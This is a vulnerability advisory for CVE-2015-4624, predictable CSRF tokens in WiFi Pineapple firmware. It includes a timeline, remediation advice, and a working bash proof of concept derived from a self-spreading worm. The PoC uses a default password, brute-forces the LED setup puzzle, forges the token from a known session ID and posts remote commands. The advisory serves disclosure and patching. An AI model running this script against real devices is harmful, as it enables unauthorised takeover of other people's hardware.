Overview =============== WiFi Pineapples are a penetration testing tool used in offensive wireless activities. These devices run on a modified OpenWRT (based on netBSD) operating system. They include a web-based management interface. It has been discovered they have predictable anti-CSRF tokens based on the session ID, which generally would be a non-issue except combined with a number of other minor configurations may allow devices to be compromised. Analysis =============== In the php processor on the WiFi Pineapple a session can be generated by making any page request or optionally a session can be specified by setting the PHPSESSID cookie to any value. In either case an anti-CSRF token is generated once a user is successfully logged in. This token is generated by: $_SESSION['_csrfToken'] = sha1(session_id()); As near as I can tell this does not have a significant impact on devices which have been fully configured. However on devices which are Out-Of-The-Box (OOTB) configured this leads to the ability to execute commands without fully configuring the device. Utilizing a default password or brute forcing the LED challenge (v2.0.0-v2.3.0) to set a known password and using that may allow an attacker to successfully login and pass CSRF checks using a priori knowledge of the session or taking the time to calculate it during the login process. This appears to be unintentional as the antiCSRF token is only ever passed to an authenticated client after the device is fully configured. New devices may be identified by a broadcast SSID. This SSID generally takes the form of Pineapple5_ABCD. Here is a brief PoC demonstrating these processes. Apologies if this is missing some information, it's been pulled from a pineapple infecting worm and reduced for some semblance of brevity. The original worm may be found here and is designed to be run on a WiFi pineapple: https://github.com/catatonicprime/TospoVirus PoC (bash) =============== creds="username=root&password=pineapplesareyummy&login=" sessid="poc" token="_csrfToken=e7c4e8b68f57f84a75d3802ceaf6e41f93a7fca0" post() { len=`printf "$2" | wc -c` printf "POST $1 HTTP/1.1\r\nHost: 172.16.42.1:1471\r\nContent-Type: application/x-www-form-urlencoded\r\nCookie: PHPSESSID=$3\r\nContent-Length: $len\r\nConnection: close\r\n\r\n$2" | nc 172.16.42.1 1471 } #Function solves the LED puzzle bf() { echo "Brute forcing..." session=`printf 'HEAD /?action=verify_pineapple HTTP/1.1\nHost: 172.16.42.1:1471\nConnection: close\n\n' | nc 172.16.42.1 1471 | egrep -om1 '[0-9a-z]{32}'` for n in `seq 1 $1` do echo "Trying $n time..." #change the puzzle until it matches our solution, which is all lights on. post "/?action=verify_pineapple" "green=on&amber=on&blue=on&red=on&verify_pineapple=Continue" "$session" | grep "password" && post "/?action=set_password" "password=pineapplesareyummy&password2=pineapplesareyummy&eula=1&sw_license=1&set_password=Set+Password" "$session" | grep "success" && return 0 done #return 1 - Failed! return 1 } #Uses the post function to login for this session "poc" #Once logged in other actions may be performed. login() { echo "Logging in..." post '/includes/api/login.php' "username=root&password=pineapplesareyummy&login=" "$sessid" | grep -i 'invalid username' && return 1 echo "Logged in Successfully!" #return 0 - Succeeded! return 0 } login || (bf 75 && login || exit) post '/components/system/configuration/functions.php?execute=' "$token&commands=[PAYLOAD]" "$sessid" ===============END PoC Timeline =============== Unknown - Discovered multiple bugs in product 06/26/15 - Disclosed vulnerabilities to the vendor 08/04/15 - Vendor released firmware patching vulnerabilities CVE(s) =============== CVE-2015-4624: Predictable CSRF tokens in WiFi Pineapple firmware <= 2.3.0 Remediation =============== Upgrade to the latest firmware (v2.4.0). Special Thanks =============== Special thanks to Seb & Darren @hak5 for patching these bugs and generally being chill. If you have bugs in any of hak5's gear they accept bug reports here: bugs@hak5.org